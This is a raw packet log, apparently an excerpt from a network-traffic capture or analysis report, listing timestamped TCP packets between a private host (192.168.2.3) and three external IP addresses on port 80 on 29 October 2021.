Oct 29, 2021 20:30:03.126578093 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.126594067 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:03.126641989 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.126682043 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:03.153036118 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.160269022 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.160310030 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.160335064 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.160360098 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.160382986 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.160408974 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.160424948 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.160429001 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.160449982 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.160475016 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.160497904 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.160514116 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.160521984 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.160562038 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.162556887 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162590027 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162615061 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162637949 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162657976 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162656069 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.162677050 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162697077 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162704945 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.162723064 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162744999 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162750959 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.162769079 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162780046 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.162794113 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162816048 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162837982 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162854910 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162858009 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.162878990 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.162879944 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162904024 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162926912 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162928104 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.162952900 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162974119 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.162977934 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.162997007 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163012981 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163028955 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.163036108 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163059950 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163064003 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.163084030 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163098097 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.163109064 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163132906 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163152933 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.163155079 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163172007 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163194895 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163203001 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.163218975 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163233042 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.163244009 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163259983 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163300037 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163301945 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.163325071 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163343906 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.163350105 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163376093 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163398981 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163418055 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.163423061 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163439989 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163443089 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.163465023 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163475990 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.163489103 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163511992 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163527012 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.163552046 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.163574934 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.168767929 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.214957952 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.214983940 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.215003967 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.215022087 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.215040922 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.215059042 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.215097904 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.215121984 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.215146065 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.215171099 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.215187073 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.215218067 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.215272903 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.217483997 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.217509031 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.217531919 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.217555046 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.217576027 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.217598915 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.217609882 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.217617035 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.217638969 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.217659950 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.217659950 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.217683077 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.217686892 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.217699051 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.217710972 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.217760086 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.217988014 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218014956 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218038082 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218053102 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218071938 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.218100071 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.218163967 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218223095 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218247890 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218269110 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218285084 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218302965 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.218307018 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218324900 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218343973 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218367100 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218374968 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.218389988 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218404055 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218410969 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.218439102 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.218640089 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218664885 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218686104 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218710899 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218713999 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.218733072 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218743086 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.218755960 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218772888 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.218782902 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.218822956 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.219336987 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219364882 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219386101 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219408035 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219429970 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219443083 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.219454050 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219471931 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219482899 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.219495058 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219516993 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.219521046 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219544888 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.219547987 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219563961 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219585896 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219594955 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.219609976 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219630957 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219639063 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.219646931 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219669104 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219691038 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219693899 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.219713926 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219716072 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.219732046 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.219769955 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.222666025 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.222687960 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.222702980 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.222718954 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.222783089 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.222810984 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.223227978 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.223246098 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.223262072 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.223277092 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.223293066 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.223510027 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.223524094 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.223527908 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.223577023 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.256274939 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.256337881 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.256361961 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.256377935 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.256458998 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.256505013 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.324146986 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.324177027 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.324198961 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.324213982 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.324244022 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.324271917 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.326188087 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.326214075 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.326237917 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.326260090 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.326275110 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.326297998 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.326311111 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.326320887 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.326344013 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.326363087 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.326383114 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.326385021 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.326401949 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.326402903 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.326440096 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.327111959 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.327137947 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.327158928 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.327158928 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.327176094 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.327183962 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.327203035 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.327223063 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.327780008 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.327815056 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.327836990 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.327852011 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.327861071 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.327903986 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328238010 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328262091 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328262091 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328284979 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328294039 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328310013 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328331947 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328342915 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328356028 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328371048 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328382015 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328392982 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328411102 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328416109 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328419924 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328438997 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328447104 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328461885 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328483105 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328485966 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328509092 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328517914 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328525066 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328541994 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328547001 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328569889 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328571081 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328593016 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328593969 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328618050 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328620911 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328641891 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328644991 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328665972 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328672886 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328682899 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328697920 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328706980 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328728914 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328732014 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328752041 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328766108 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328768015 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328790903 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328805923 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328813076 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328813076 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328835964 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328836918 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328870058 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328871012 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328893900 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328912020 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328917027 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328933001 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.328934908 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328955889 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.328979015 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.329066038 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.329082966 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.329099894 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.329109907 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.329111099 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.329139948 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.329171896 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.329196930 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.329214096 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.329230070 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.329241037 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.329252958 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.329284906 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.329550982 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.329569101 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.329576969 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.329585075 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.329588890 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.329598904 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.329637051 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.329664946 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:03.345690966 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.345721006 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.345743895 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.345763922 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.345786095 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.345808029 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.345822096 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.345832109 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.345885992 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.345907927 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.345916033 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.345936060 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.345958948 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.345978975 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.345990896 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.345997095 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.346007109 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.346019983 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.346033096 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.346044064 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.346060991 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:03.346111059 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.346116066 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:03.380517006 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:03.380542040 CEST	80	49859	45.141.84.21	192.168.2.3
